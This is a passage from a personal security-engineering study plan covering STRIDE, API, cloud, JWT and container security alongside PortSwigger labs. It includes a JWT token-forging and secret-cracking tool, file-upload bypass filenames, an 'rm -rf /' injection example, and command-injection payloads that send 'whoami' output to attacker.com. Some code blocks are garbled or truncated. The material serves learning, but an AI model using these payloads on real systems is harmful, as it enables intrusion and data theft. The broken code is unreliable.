9. **STRIDE Threat Modeling** (2 hours)
10. [Target Company] STRIDE documentation
11. Threat Modeling Manifesto: https://www.threatmodelingmanifesto.org/
12. Practical examples for web applications

Labs & Practical Exercises (6 hours)

1. **Ghidra Reverse Engineering** (4 hours)
2. Download Ghidra: https://ghidra-sre.org/
3. Import practice binaries:
    - crackme challenges
    - Simple Windows executables
4. Analysis tasks:
    - Identify main() function
    - Find hardcoded strings
    - Trace function calls

    - Identify encryption/decryption routines
    - Rename variables for clarity
5. Document findings
6. **STRIDE Analysis Exercise** (2 hours)
7. Select system: E-commerce web application
8. Create data flow diagram (DFD)
9. Apply STRIDE to each component:
    - Web server
    - Database
    - Payment processor integration
    - User authentication
10. Document threats and mitigations
11. Prioritize by risk (likelihood × impact)

Coding Challenge (3 hours)

Task: Threat Modeling Tool

```
# threat_modeling.py
from enum import Enum
from typing import List, Dict

class STRIDECategory(Enum):
    SPOOFING = "Spoofing"
    TAMPERING = "Tampering"
    REPUDIATION = "Repudiation"
    INFORMATION_DISCLOSURE = "Information Disclosure"
    DENIAL_OF_SERVICE = "Denial of Service"
    ELEVATION_OF_PRIVILEGE = "Elevation of Privilege"

class Threat:
    """Represent a security threat"""

    def __init__(self, title, description, stride_category,
                 likelihood, impact, affected_component):
        self.title = title
        self.description = description
        self.stride_category = stride_category
        self.likelihood = likelihood  # 1-5
        self.impact = impact  # 1-5
        self.affected_component = affected_component
        self.mitigations = []

    @property
    def risk_score(self):
        \"\"\"Calculate risk score (likelihood × impact)\"\"\"
        return self.likelihood * self.impact

    def add_mitigation(self, mitigation):
        self.mitigations.append(mitigation)

    def to_dict(self):
        return {
            'title': self.title,
            'description': self.description,
            'stride': self.stride_category.value,
            'risk_score': self.risk_score,
            'likelihood': self.likelihood,
            'impact': self.impact,
            'component': self.affected_component,
            'mitigations': self.mitigations
        }

class ThreatModel:
    \"\"\"Manage threat model for a system\"\"\"
    def __init__(self, system_name):
        self.system_name = system_name
        self.threats = []

    def add_threat(self, threat):
        self.threats.append(threat)

    def get_by_category(self, stride_category):
        return [t for t in self.threats if t.stride_category == stride_category]

    def get_high_risk(self, threshold=15):
        \"\"\"Get threats above risk threshold\"\"\"
        return sorted([t for t in self.threats if t.risk_score >= threshold],
                      key=lambda x: x.risk_score, reverse=True)

    def generate_report(self):
        \"\"\"Generate threat model summary\"\"\"
        print(f"Threat Model: {self.system_name}")
        print(f"Total Threats: {len(self.threats)}")
        print("\\nBy STRIDE Category:")
        for category in STRIDECategory:
            count = len(self.get_by_category(category))
            print(f"  {category.value}: {count}")

        print("\\nHigh Risk Threats:")
        for threat in self.get_high_risk():
            print(f"  [{threat.risk_score}] {threat.title}")
            print(f"      Component: {threat.affected_component}")
            print(f"      Mitigations: {len(threat.mitigations)}")

# Usage Example
model = ThreatModel("E-Commerce Web Application")

# Add threats
sql_injection = Threat(
    title="SQL Injection in Product Search",
    description="User input not sanitized in search query",
    stride_category=STRIDECategory.TAMPERING,
    likelihood=4,
    impact=5,
    affected_component="Web Application"
)
sql_injection.add_mitigation("Use parameterized queries")
sql_injection.add_mitigation("Input validation with whitelist")
model.add_threat(sql_injection)

session_hijacking = Threat(
    title="Session Hijacking via XSS",
    description="Stored XSS allows cookie theft",
    stride_category=STRIDECategory.SPOOFING,
    likelihood=3,
    impact=4,
    affected_component="User Session Management"
)
session_hijacking.add_mitigation("HTTPOnly cookies")
session_hijacking.add_mitigation("Content Security Policy")
session_hijacking.add_mitigation("Output encoding")
model.add_threat(session_hijacking)

model.generate_report()
```

AppSec Focus (10 hours)

Advanced SSRF & Security Labs (10 hours)

Complete Advanced Labs

PortSwigger SSRF Advanced (4 hours):
- Blind SSRF with Shellshock exploitation
- SSRF via flawed request parsing
- SSRF with whitelist-based input filters

File Upload Vulnerabilities (6 hours):
1. Remote code execution via web shell upload
2. Web shell upload via Content-Type restriction bypass
3. Web shell upload via path traversal
4. Web shell upload via extension blacklist bypass
5. Web shell upload via obfuscated file extension
6. Remote code execution via polyglot web shell upload

Total Labs: 76/211

Key Concepts:
- File upload validation bypasses
- Magic byte manipulation
- Double extensions: `shell.php.jpg`
- Null byte injection: `shell.php%00.jpg`
- MIME type spoofing

Deliverables

- [ ] Ghidra reverse engineering report (2 binaries analyzed)
- [ ] x86 assembly practice (10 instructions documented)
- [ ] STRIDE threat model for e-commerce system
- [ ] Attack tree diagram for database access
- [ ] Threat modeling tool with risk scoring
- [ ] Advanced SSRF & File Upload labs (9 labs, Total: 76/211)

- [ ] Reverse engineering methodology notes
- [ ] Python fluency: 8.5/10

Time Allocation Summary

Activity	Hours
x86 Assembly Reading	2
Ghidra Documentation	2
STRIDE Reading	2
Ghidra RE Practice	4
STRIDE Analysis Exercise	2
Threat Modeling Tool Dev	3
PortSwigger Advanced SSRF	4
File Upload Labs	6
TOTAL	**25**

Week 14: API Security Fundamentals + Scanner

March 17-23, 2026 | Total: 24 hours

Security Engineering Focus (14 hours)

Core Topics

- **REST API Security Fundamentals**
- **HTTP Methods Security:**
  - GET: Safe, idempotent (read-only operations)
  - POST: Create resources, not idempotent
  - PUT: Update/replace resources, idempotent
  - PATCH: Partial update
  - DELETE: Remove resources, idempotent
  - HEAD, OPTIONS: Metadata and CORS preflight
- **Status Codes:**
  - 200 OK, 201 Created, 204 No Content
  - 400 Bad Request, 401 Unauthorized, 403 Forbidden, 404 Not Found

    - 500 Internal Server Error, 503 Service Unavailable
- **Security Headers:**
    - `Authorization`: Bearer tokens, API keys
    - `Content-Type`: Prevent MIME sniffing
    - `X-API-Key`: Custom API key header
    - `X-Request-ID`: Request tracking
    - Rate limit headers: `X-RateLimit-Limit`, `X-RateLimit-Remaining`
- **OWASP API Security Top 10 (2023)**
- **Broken Object Level Authorization (BOLA/IDOR)**
    - Example: `GET /api/users/123/profile` accessible by user 456
    - Prevention: Validate user authorization for each object
- **Broken Authentication**
    - Weak password policies, missing MFA, predictable tokens
    - Prevention: Strong auth, token expiration, secure session management
- **Broken Object Property Level Authorization**
    - Mass assignment, excessive data exposure
    - Example: User can set `{"role": "admin"}` in profile update
    - Prevention: Whitelist allowed fields
- **Unrestricted Resource Consumption**
    - No rate limiting, large payloads accepted
    - Prevention: Rate limiting, pagination, payload size limits
- **Broken Function Level Authorization**
    - Regular user can access admin endpoints
    - Example: `/api/admin/delete-user` accessible without admin check
    - Prevention: Enforce role-based access control (RBAC)
- **Unrestricted Access to Sensitive Business Flows**
    - Automation of sensitive operations (ticket buying bots)
    - Prevention: CAPTCHA, behavioral analysis, rate limiting
- **Server-Side Request Forgery (SSRF)**
    - API makes requests to attacker-controlled URLs
    - Prevention: Whitelist allowed destinations, validate URLs
- **Security Misconfiguration**
    - Verbose error messages, default credentials, unnecessary endpoints

    - Prevention: Secure defaults, error handling, disable debug mode

- **Improper Inventory Management**
    - Undocumented/deprecated endpoints still active
    - Prevention: API documentation, versioning, decommission old APIs
- **Unsafe Consumption of APIs**
    - Trusting third-party APIs without validation
    - Prevention: Validate all external data, use allowlists
- **API Authentication Methods**
- **API Keys:**
    - Simple but should be in headers, not query params
    - Example: `X-API-Key: abc123...`
    - Rotate regularly, never commit to code
- **OAuth 2.0:**
    - Authorization framework (not authentication)
    - Access tokens + refresh tokens
    - Scopes for granular permissions
- **JWT (JSON Web Tokens):**
    - Self-contained tokens with claims
    - Stateless authentication
    - Verify signature, check expiration
- **Mutual TLS (mTLS):**
    - Both client and server present certificates
    - Strong authentication for service-to-service
- **Rate Limiting**
- **Algorithms:**
    - **Token Bucket:** Fixed-rate token generation, burst allowed
    - **Leaky Bucket:** Constant outflow rate, smooth traffic
    - **Fixed Window:** Count requests per time window (e.g., 100/minute)
    - **Sliding Window Log:** Precise but memory-intensive
- **Implementation:**

```python
from functools import wraps
from flask import request, jsonify
import time
```

Simple in-memory rate limiter (Redis better for production)

request_counts = {}

def rate_limit(max_requests=100, window=60):
def decorator(f):
@wraps(f)
def wrapped(*args,* *kwargs):
key = request.remote_addr
now = time.time()

```
        if key not in request_counts:
            request_counts[key] = []

        # Remove old requests outside window
        request_counts[key] = [t for t in request_counts[key] if now - t < window]

        if len(request_counts[key]) >= max_requests:
            return jsonify({"error": "Rate limit exceeded"}), 429

        request_counts[key].append(now)
        return f(*args, **kwargs)
    return wrapped
return decorator
```

```

### Reading Materials (5 hours)

1. **OWASP API Security Top 10** (2 hours)
2. URL: https://owasp.org/API-Security/editions/2023/en/0x11-t10/
3. Read all 10 risks with examples
4. Focus on prevention techniques
5. **API Security in Action - Chapters 1-3** (2 hours)
6. RESTful API design principles
7. Authentication and authorization
8. Rate limiting strategies
9. **REST API Security Best Practices** (1 hour)
10. HTTPS enforcement
11. Input validation
12. Error handling without information leakage
```

Labs & Practical Exercises (6 hours)

1. **API Security Testing Setup** (2 hours)
2. Install vulnerable API: crAPI or vAPI
3. Set up Burp Suite for API testing
4. Configure Postman for API exploration
5. Document API endpoints (manual OpenAPI spec)
6. **OWASP Top 10 API Testing** (4 hours)
7. Test for BOLA/IDOR:
    - Enumerate user IDs
    - Access other users' resources
8. Test for broken authentication:
    - Weak password policies
    - Session token predictability
9. Test mass assignment:
    - Send `{"role": "admin"}` in profile update
10. Test rate limiting:
    - Send 1000 requests/second
    - Measure response times
11. Document findings

Coding Challenge (3 hours)

Task: API Security Scanner

```
# api_security_scanner.py
import requests
import json
from urllib.parse import urljoin

class APISecurityScanner:
    \"\"\"Scan REST APIs for common vulnerabilities\"\"\"

    def __init__(self, base_url, api_key=None):
        self.base_url = base_url
        self.headers = {'X-API-Key': api_key} if api_key else {}
        self.findings = []

    def test_bola(self, endpoint_template, id_range):
        \"\"\"Test for Broken Object Level Authorization\"\"\"
        print(f"Testing BOLA on {endpoint_template}...")
        for user_id in range(id_range[0], id_range[1]):
            endpoint = endpoint_template.format(id=user_id)
            url = urljoin(self.base_url, endpoint)
            response = requests.get(url, headers=self.headers)

            if response.status_code == 200:
                self.findings.append({
                    'type': 'BOLA',
                    'endpoint': endpoint,
                    'description': f'Accessible resource for user {user_id}'
                })

    def test_rate_limiting(self, endpoint, num_requests=100):
        \"\"\"Test for rate limiting\"\"\"
        print(f"Testing rate limiting on {endpoint}...")
        url = urljoin(self.base_url, endpoint)

        for i in range(num_requests):
            response = requests.get(url, headers=self.headers)
            if response.status_code == 429:
                print(f"Rate limit triggered after {i+1} requests")
                return

        self.findings.append({
            'type': 'Missing Rate Limiting',
            'endpoint': endpoint,
            'description': f'No rate limit after {num_requests} requests'
        })

    def test_mass_assignment(self, endpoint, test_fields):
        \"\"\"Test for mass assignment vulnerabilities\"\"\"
        print(f"Testing mass assignment on {endpoint}...")
        url = urljoin(self.base_url, endpoint)

        for field in test_fields:
            payload = {field: "injected_value"}
            response = requests.post(url, json=payload, headers=self.headers)

            if response.status_code in [200, 201]:
                self.findings.append({
                    'type': 'Mass Assignment',
                    'endpoint': endpoint,
                    'field': field,
                    'description': f'Field {field} accepted in request'
                })

    def test_excessive_data_exposure(self, endpoint):
        \"\"\"Check for unnecessary data in responses\"\"\"
        print(f"Testing data exposure on {endpoint}...")
        url = urljoin(self.base_url, endpoint)
        response = requests.get(url, headers=self.headers)

        if response.status_code == 200:
            data = response.json()
            sensitive_fields = ['password', 'ssn', 'credit_card', 'api_key', 'secret']

            for field in sensitive_fields:
                if field in str(data).lower():
                    self.findings.append({
                        'type': 'Data Exposure',
                        'endpoint': endpoint,
                        'field': field,
                        'description': f'Sensitive field {field} exposed'
                    })

    def generate_report(self):
        \"\"\"Generate scan report\"\"\"
        print("\\n" + "="*60)
        print(f"API Security Scan Report - {self.base_url}")
        print("="*60)
        print(f"Total Findings: {len(self.findings)}")

        for finding in self.findings:
            print(f"\\n[{finding['type']}] {finding['endpoint']}")
            print(f"  {finding['description']}")

        return self.findings

# Usage
scanner = APISecurityScanner('https://api.example.com')
```

```
scanner.test_bola('/api/users/{id}/profile', (1, 100))
scanner.test_rate_limiting('/api/search')
scanner.test_mass_assignment('/api/users/profile', ['role', 'is_admin', 'permissions'])
scanner.generate_report()
```

AppSec Focus (10 hours)

PortSwigger Labs Continuation (10 hours)

Business Logic Vulnerabilities (5 hours):
1. Excessive trust in client-side controls
2. High-level logic vulnerability
3. Low-level logic flaw
4. Inconsistent handling of exceptional input
5. Flawed enforcement of business rules

Authentication Vulnerabilities Advanced (5 hours):
6. 2FA bypass using a brute-force attack
7. Password reset broken logic
8. Password brute-force via password change
9. Stay-logged-in cookie offline cracking
10. Offline password cracking via encryption oracle

Total Labs: 86/211

Deliverables

- [ ] API security scanner tool with BOLA/rate limit/mass assignment tests
- [ ] API security testing report on vulnerable API
- [ ] OWASP API Top 10 testing checklist
- [ ] Rate limiting implementation in Python
- [ ] 10 labs complete (Total: 86/211)
- [ ] API security best practices document
- [ ] Python fluency: 8.5/10

Time Allocation Summary

Activity	Hours
OWASP API Top 10 Reading	2
API Security in Action	2
REST Security Best Practices	1
API Testing Setup	2
OWASP Testing Practice	4
API Scanner Development	3
Business Logic Labs	5
Auth Advanced Labs	5
TOTAL	**24**

Week 15: Cloud Security Basics + JWT Security

March 24-30, 2026 | Total: 25 hours

Security Engineering Focus (15 hours)

Core Topics

- **[Target Company] IAM (Identity and Access Management) Deep Dive**
- **IAM Components:**
  - **Users:** Individual identities with credentials
  - **Groups:** Collections of users (e.g., Developers, Admins)
  - **Roles:** Temporary credentials for services/applications
  - **Policies:** JSON documents defining permissions
- **IAM Policy Structure:** `json { "Version": "2012-10-17", "Statement": [{ "Effect": "Allow", "Action": "s3:GetObject", "Resource": "arn:aws:s3:::my-bucket/*" }] }`
- **Policy Evaluation Logic:**
  - Explicit Deny > Explicit Allow > Implicit Deny
  - Permissions are union of all applicable policies
  - Least privilege principle

- **Best Practices:**
    - Use roles instead of long-term credentials
    - Enable MFA for privileged users
    - Rotate access keys regularly
    - Use IAM Access Analyzer to detect public/cross-account access
    - Apply policies with minimum required permissions
- **S3 Bucket Security**
- **Access Control Mechanisms:**
    - **Bucket Policies:** Resource-based policies
    - **ACLs (Access Control Lists):** Legacy, not recommended
    - **IAM Policies:** User/role-based permissions
    - **Pre-signed URLs:** Temporary access to objects
- **Common Misconfigurations:**
    - Public read/write access (ACL or bucket policy)
    - Overly permissive policies (`s3:*`)
    - Missing encryption at rest
    - No logging enabled
- **Security Features:**
    - **Encryption:**
    - SSE-S3: Server-side encryption with [Target Company]-managed keys
    - SSE-KMS: [Target Company] Key Management Service keys
    - SSE-C: Customer-provided keys
    - Client-side encryption
    - **Versioning:** Protect against accidental deletion
    - **MFA Delete:** Require MFA to delete versions
    - **Logging:** S3 access logs, CloudTrail data events
    - **Block Public Access:** Account-level setting
- **CloudGoat Scenarios**
- **Purpose:** Intentionally vulnerable [Target Company] environment for learning
- **Installation:** `bash git clone https://github.com/RhinoSecurityLabs/cloudgoat.git cd cloudgoat pip install -r requirements.txt --break-system-packages ./cloudgoat.py config profile ./cloudgoat.py config whitelist --auto`
- **Scenarios:**
    - **iam_privesc_by_rollback:** Privilege escalation via policy version rollback
    - **cloud_breach_s3:** Data exfiltration from misconfigured S3

    - **ec2_ssrf:** SSRF to access EC2 metadata
    - **lambda_privesc:** Lambda function privilege escalation
- **Workflow:**
    1. Deploy scenario: `./cloudgoat.py create <scenario>`
    2. Note credentials provided
    3. Enumerate permissions
    4. Exploit misconfiguration
    5. Document attack path
    6. Clean up: `./cloudgoat.py destroy <scenario>`
- **JWT Attacks**
- **Algorithm Confusion (alg: RS256 → HS256):**
    - JWT signed with HS256 using RS256 public key
    - Server treats public key as secret key for HMAC
    - Attack: `python import jwt public_key = open('public.pem').read() token = jwt.encode({'user': 'admin'}, public_key, algorithm='HS256')`
- **None Algorithm:**
    - Set `"alg": "none"` in header
    - Remove signature portion
    - Server may accept unsigned token
    - Prevention: Reject `none` algorithm explicitly
- **Weak Signing Keys:**
    - Brute force weak secrets (dictionary attack)
    - Tool: `john` with JWT plugin
- **Key Confusion:**
    - JWK header parameter injection
    - Embed malicious public key in token
- **Token Expiration:**
    - Missing `exp` claim
    - Expired tokens still accepted
    - Prevention: Always validate expiration

Reading Materials (6 hours)

1. **[Target Company] IAM Best Practices** (2 hours)
2. URL: https://docs.aws.amazon.com/IAM/latest/UserGuide/best-practices.html

3. Security best practices for IAM
4. Common pitfalls and how to avoid them
5. **S3 Security Best Practices** (2 hours)
6. URL: https://docs.aws.amazon.com/AmazonS3/latest/userguide/security-best-practices.html
7. Block public access
8. Encryption recommendations
9. Access logging
10. **JWT Security Best Practices** (2 hours)
11. OWASP JWT Cheat Sheet
12. Common JWT vulnerabilities
13. Secure implementation guidelines

Labs & Practical Exercises (6 hours)

1. **[Target Company] IAM Configuration** (2 hours)
2. Create [Target Company] free tier account
3. Configure IAM users with different permission levels:
    - ReadOnly user
    - PowerUser
    - Admin
4. Create custom policies: `json { "Version": "2012-10-17", "Statement": [{ "Effect": "Allow", "Action": ["s3:ListBucket", "s3:GetObject"], "Resource": ["arn:aws:s3:::my-bucket", "arn:aws:s3:::my-bucket/*"] }] }`
5. Test access with [Target Company] CLI
6. Enable MFA for admin user
7. **S3 Security Audit** (2 hours)
8. Create S3 bucket
9. Test different access configurations:
    - Public read
    - Public write
    - Private with IAM policy
10. Enable encryption
11. Configure bucket versioning
12. Enable access logging
13. Use [Target Company] Access Analyzer to detect issues
14. **CloudGoat Privilege Escalation** (2 hours)

15. Deploy CloudGoat scenario: iam_privesc_by_rollback
16. Enumerate IAM permissions:
    `bash aws iam list-attached-user-policies --user-name <user> aws iam get-policy-version --policy-arn <arn> --version-id <version>`
17. Identify privilege escalation path
18. Execute attack
19. Document findings
20. Clean up environment

Coding Challenge (3 hours)

Task: JWT Attack Tool

```
# jwt_attack_tool.py
import jwt
import json
import base64
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.backends import default_backend

class JWTAttacker:
    """Tools for testing JWT vulnerabilities"""

    def __init__(self, token):
        self.token = token
        self.header = self._decode_part(token.split('.')[0])
        self.payload = self._decode_part(token.split('.')[1])

    def _decode_part(self, part):
        \"\"\"Decode base64url encoded JWT part\"\"\"
        padding = 4 - (len(part) % 4)
        part += '=' * padding
        return json.loads(base64.urlsafe_b64decode(part))

    def none_algorithm_attack(self):
        \"\"\"Create token with 'none' algorithm\"\"\"
        print("[+] Testing 'none' algorithm attack...")

        # Modify header
        header = self.header.copy()
        header['alg'] = 'none'

        # Encode without signature
        header_b64 = base64.urlsafe_b64encode(
            json.dumps(header).encode()
        ).decode().rstrip('=')

        payload_b64 = base64.urlsafe_b64encode(
            json.dumps(self.payload).encode()
        ).decode().rstrip('=')

        malicious_token = f"{header_b64}.{payload_b64}."
        print(f"[+] None algorithm token: {malicious_token}")
        return malicious_token

    def algorithm_confusion_attack(self, public_key_path):
        \"\"\"RS256 → HS256 confusion attack\"\"\"
        print("[+] Testing algorithm confusion attack...")

        # Load public key
        with open(public_key_path, 'rb') as f:
            public_key = f.read()

        # Modify payload (e.g., change user to admin)
        malicious_payload = self.payload.copy()
        malicious_payload['user'] = 'admin'

        # Sign with HS256 using public key as secret
        malicious_token = jwt.encode(
            malicious_payload,
            public_key,
            algorithm='HS256'
        )

        print(f"[+] Algorithm confusion token: {malicious_token}")
        return malicious_token

    def expired_token_test(self):
        \"\"\"Check if token has expiration claim\"\"\"
        print("[+] Checking token expiration...")

        if 'exp' not in self.payload:
            print("[!] WARNING: Token has no expiration claim")
            return True

        import time
        if self.payload['exp'] < time.time():
            print("[!] WARNING: Token is expired but may still be accepted")
            return True

        print("[+] Token has valid expiration")
        return False

    def weak_secret_crack(self, wordlist_path):
        \"\"\"Attempt to brute force JWT secret\"\"\"
        print(f"[+] Testing for weak secret with wordlist: {wordlist_path}")

        with open(wordlist_path, 'r') as f:
            for secret in f:
                secret = secret.strip()
                try:
                    jwt.decode(self.token, secret, algorithms=['HS256'])
                    print(f"[!] FOUND SECRET: {secret}")
                    return secret
                except jwt.InvalidSignatureError:
                    continue
                except Exception as e:
                    continue
        print("[-] Secret not found in wordlist")
        return None

# Usage
attacker = JWTAttacker("eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9...")
attacker.none_algorithm_attack()
attacker.expired_token_test()
attacker.weak_secret_crack('/usr/share/wordlists/rockyou.txt')
```

AppSec Focus (10 hours)

PortSwigger JWT Labs (10 hours)

Complete JWT Lab Series

Lab List:
1. JWT authentication bypass via unverified signature
2. JWT authentication bypass via flawed signature verification
3. JWT authentication bypass via weak signing key
4. JWT authentication bypass via JWK header injection
5. JWT authentication bypass via jku header injection
6. JWT authentication bypass via kid header path traversal
7. JWT authentication bypass via algorithm confusion
8. JWT authentication bypass via algorithm confusion with no exposed key

Access: https://portswigger.net/web-security/jwt

Tools:
- jwt_tool: https://github.com/ticarpi/jwt_tool
- Burp Suite JWT Editor extension
- Online JWT decoder: jwt.io

Attack Techniques Practiced:
- None algorithm
- Weak secret brute forcing
- Algorithm confusion (RS256 → HS256)
- Header parameter injection
- Key confusion attacks

Total Labs: 94/211

Deliverables

- [ ] [Target Company] IAM configuration with custom policies
- [ ] S3 security audit report
- [ ] CloudGoat privilege escalation walkthrough
- [ ] JWT attack tool with multiple attack vectors
- [ ] 8 JWT labs complete (Total: 94/211)
- [ ] Cloud security best practices checklist

- [ ] Python fluency: 8.5/10

Time Allocation Summary

Activity	Hours
[Target Company] IAM Reading	2
S3 Security Reading	2
JWT Security Reading	2
[Target Company] IAM Configuration	2
S3 Security Audit	2
CloudGoat Lab	2
JWT Attack Tool Development	3
PortSwigger JWT Labs	10
TOTAL	**25**

Week 16: Container Security + Docker

March 31 - April 6, 2026 | Total: 25 hours

Security Engineering Focus (15 hours)

Core Topics

- **Docker Security Fundamentals**
- **Attack Surface:**
  - Container escape to host
  - Vulnerable images
  - Privileged containers
  - Exposed Docker daemon
  - Secrets in images
- **Security Best Practices:**
  - Run as non-root user: `dockerfile USER nonroot:nonroot`
  - Read-only root filesystem: `bash docker run --read-only ...`

- Drop capabilities:
  `bash docker run --cap-drop=ALL --cap-add=NET_BIND_SERVICE ...`
- Use minimal base images (Alpine, distroless)
- No secrets in Dockerfiles
- Pin versions: `FROM python:3.11.2-alpine` not `FROM python:latest`

- **Image Scanning**
- **Trivy:**
  - Open-source vulnerability scanner
  - Installation:
    `bash wget -qO - https://aquasecurity.github.io/trivy-repo/deb/public.key | sudo apt-key add - echo "deb https://aquasecurity.github.io/trivy-repo/deb $(lsb_release -sc) main" | sudo tee -a /etc/apt/sources.list.d/trivy.list sudo apt-get update sudo apt-get install trivy`
  - Scan images:
    `bash trivy image python:3.11 trivy image --severity HIGH,CRITICAL myapp:latest`
- **Grype:**
  - Anchore's vulnerability scanner
  - Fast, accurate CVE detection
- **Clair:**
  - CoreOS vulnerability scanner
  - API-based scanning
- **What to Check:**
  - OS package vulnerabilities
  - Application dependency vulnerabilities
  - Misconfigurations
  - Secrets exposure
- **Kubernetes Basics**
- **Architecture:**
  - **Control Plane:** API server, scheduler, controller manager, etcd
  - **Worker Nodes:** kubelet, kube-proxy, container runtime
  - **Pods:** Smallest deployable units (1+ containers)
  - **Services:** Stable networking for pods
  - **Deployments:** Declarative pod management
- **Security Concepts:**
  - **RBAC (Role-Based Access Control):**
  - Roles, RoleBindings

    - ClusterRoles, ClusterRoleBindings
    - Principle of least privilege
    - **Network Policies:**
    - Control pod-to-pod communication
    - Default deny, explicit allow
    - **Pod Security:**
    - Pod Security Standards (Restricted, Baseline, Privileged)
    - Security contexts
    - AppArmor/SELinux profiles
    - **Secrets Management:**
    - Kubernetes Secrets (base64-encoded)
    - External secret managers (Vault, [Target Company] Secrets Manager)
    - Encrypt secrets at rest (etcd encryption)

- **OS Command Injection**
- **Vulnerability:** User input passed to system commands
- **Examples:**
  ```python
  # Vulnerable
  import os
  user_input = request.args.get('file')
  os.system(f"cat {user_input}") # Command injection!

## Attack

file = "important.txt; rm -rf /"
`- **Detection:** - Look for `os.system()`, `subprocess.call()`, `eval()` - Shell metacharacters: `;`, `&`, `|`, `$()`, `` ` `` - **Prevention:** - Avoid system commands entirely - Use libraries instead (e.g., Python's `open()` not `cat`) - If required: Whitelist input, escape shell characters - Use `subprocess.run()` with `shell=False`:` python
import subprocess
subprocess.run(['cat', user_input], shell=False) # Safer
```

Reading Materials (6 hours)

1. **Docker Security Best Practices** (2 hours)
2. Docker official documentation
3. CIS Docker Benchmark
4. Secure Dockerfile guidelines

5. **Kubernetes Security** (2 hours)
6. Kubernetes documentation: Security concepts
7. Pod Security Standards
8. RBAC configuration
9. **OS Command Injection Guide** (2 hours)
10. OWASP Command Injection
11. PortSwigger guide
12. Prevention techniques

Labs & Practical Exercises (6 hours)

1. **Docker Security Hardening** (3 hours)
2. Create secure Dockerfile:
```dockerfile
FROM python:3.11-alpine

# Create non-root user
RUN addgroup -S appgroup && adduser -S appuser -G appgroup

WORKDIR /app
COPY requirements.txt .
RUN pip install --no-cache-dir -r requirements.txt

COPY app.py .

# Switch to non-root
USER appuser

CMD ["python", "app.py"]
- Scan with Trivy: bash
docker build -t myapp:latest .
trivy image myapp:latest
- Fix vulnerabilities - Run with security options: bash
docker run --read-only --cap-drop=ALL --cap-add=NET_BIND_SERVICE myapp
```

3. **Kubernetes RBAC Configuration** (2 hours)
4. Install minikube: https://minikube.sigs.k8s.io/
5. Create namespace
6. Define Role with limited permissions:
```yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
namespace: default
```

name: pod-reader
rules:

   ◦ apiGroups: [""]
     resources: ["pods"]
     verbs: ["get", "list"]
     ```

7. Create RoleBinding
8. Test access restrictions
9. **Container Escape Testing** (1 hour)
10. Run privileged container (intentionally insecure)
11. Attempt to access host filesystem
12. Test capability drops
13. Document findings

### Coding Challenge (3 hours)

**Task:** Dockerfile Security Linter
     ```

```
# dockerfile_linter.py
import re

class DockerfileLinter:
    """Scan Dockerfiles for security issues\"\"\"

    def __init__(self, dockerfile_path):
        with open(dockerfile_path, 'r') as f:
            self.lines = f.readlines()
        self.issues = []

    def check_root_user(self):
        \"\"\"Check if USER instruction is present\"\"\"
        has_user = any('USER ' in line for line in self.lines if not line.strip().startswith('#'))
        if not has_user:
            self.issues.append({
                'severity': 'HIGH',
                'issue': 'No USER instruction - runs as root',
                'recommendation': 'Add USER nonroot instruction'
            })

    def check_latest_tag(self):
        \"\"\"Check for unpinned base images\"\"\"
        for i, line in enumerate(self.lines, 1):
            if line.strip().startswith('FROM'):
                if ':latest' in line or ':' not in line:
                    self.issues.append({
                        'severity': 'MEDIUM',
                        'line': i,
                        'issue': 'Unpinned base image version',
                        'recommendation': 'Pin to specific version (e.g., python:3.11.2)'
                    })

    def check_secrets(self):
        \"\"\"Check for hardcoded secrets\"\"\"
        secret_patterns = [
            r'(?i)(password|secret|key|token)\s*=\s*["\'][\w-]+["\']',
            r'[A-Za-z0-9]{40}',  # Potential API key
        ]

        for i, line in enumerate(self.lines, 1):
            for pattern in secret_patterns:
                if re.search(pattern, line) and not line.strip().startswith('#'):
                    self.issues.append({
                        'severity': 'CRITICAL',
                        'line': i,
                        'issue': 'Potential hardcoded secret',
                        'recommendation': 'Use environment variables or secrets manager'
                })

    def check_curl_pipe_sh(self):
        \"\"\"Check for dangerous curl | sh patterns\"\"\"
        for i, line in enumerate(self.lines, 1):
            if 'curl' in line and ('|' in line or 'sh' in line):
                self.issues.append({
                    'severity': 'HIGH',
                    'line': i,
                    'issue': 'curl | sh detected - potential supply chain risk',
                    'recommendation': 'Download, verify, then execute separately'
                })

    def check_privileged(self):
        \"\"\"Check for privileged instructions\"\"\"
        dangerous_flags = ['--privileged', '--cap-add=ALL']
        for i, line in enumerate(self.lines, 1):
            for flag in dangerous_flags:
                if flag in line:
                    self.issues.append({
                        'severity': 'CRITICAL',
                        'line': i,
                        'issue': f'Dangerous flag: {flag}',
                        'recommendation': 'Remove or use specific capabilities'
                    })

    def run_all_checks(self):
        \"\"\"Execute all security checks\"\"\"
        self.check_root_user()
        self.check_latest_tag()
        self.check_secrets()
        self.check_curl_pipe_sh()
        self.check_privileged()

    def generate_report(self):
        \"\"\"Generate security report\"\"\"
        self.run_all_checks()

        print("Dockerfile Security Lint Report")
        print("=" * 50)
        print(f"Total Issues: {len(self.issues)}")

        severity_count = {}
        for issue in self.issues:
            sev = issue['severity']
            severity_count[sev] = severity_count.get(sev, 0) + 1

        print(f"\\nBy Severity:")
        for sev, count in sorted(severity_count.items()):
            print(f"  {sev}: {count}")

        print(f"\\nDetailed Findings:")
        for issue in sorted(self.issues, key=lambda x: ('CRITICAL', 'HIGH', 'MEDIUM', 'LOW').index(x['seve
            print(f"\\n[{issue['severity']}] Line {issue.get('line', 'N/A')}")
            print(f"  Issue: {issue['issue']}")
            print(f"  Fix: {issue['recommendation']}")

# Usage
linter = DockerfileLinter('Dockerfile')
linter.generate_report()
```

AppSec Focus (10 hours)

PortSwigger OS Injection Labs (10 hours)

Complete OS Command Injection Series

Lab List:
1. OS command injection, simple case
2. Blind OS command injection with time delays
3. Blind OS command injection with output redirection
4. Blind OS command injection with out-of-band interaction
5. Blind OS command injection with out-of-band data exfiltration

Access: https://portswigger.net/web-security/os-command-injection

WebSockets Labs (5 hours):
1. Manipulating WebSocket messages to exploit vulnerabilities
2. Manipulating the WebSocket handshake to exploit vulnerabilities
3. Cross-site WebSocket hijacking

Total Labs: 102/211

Command Injection Payloads:

```
# Basic
; whoami
& whoami
| whoami
|| whoami

# Blind - Time delay
; sleep 10 #
& ping -c 10 127.0.0.1 &

# Blind - Output redirection
; whoami > /var/www/html/output.txt #

# Blind - Out-of-band
; nslookup $(whoami).attacker.com #
; curl http://attacker.com/$(whoami) #
```

Deliverables

- [ ] Secure Dockerfile with hardening measures
- [ ] Trivy container scan report
- [ ] Kubernetes RBAC configuration
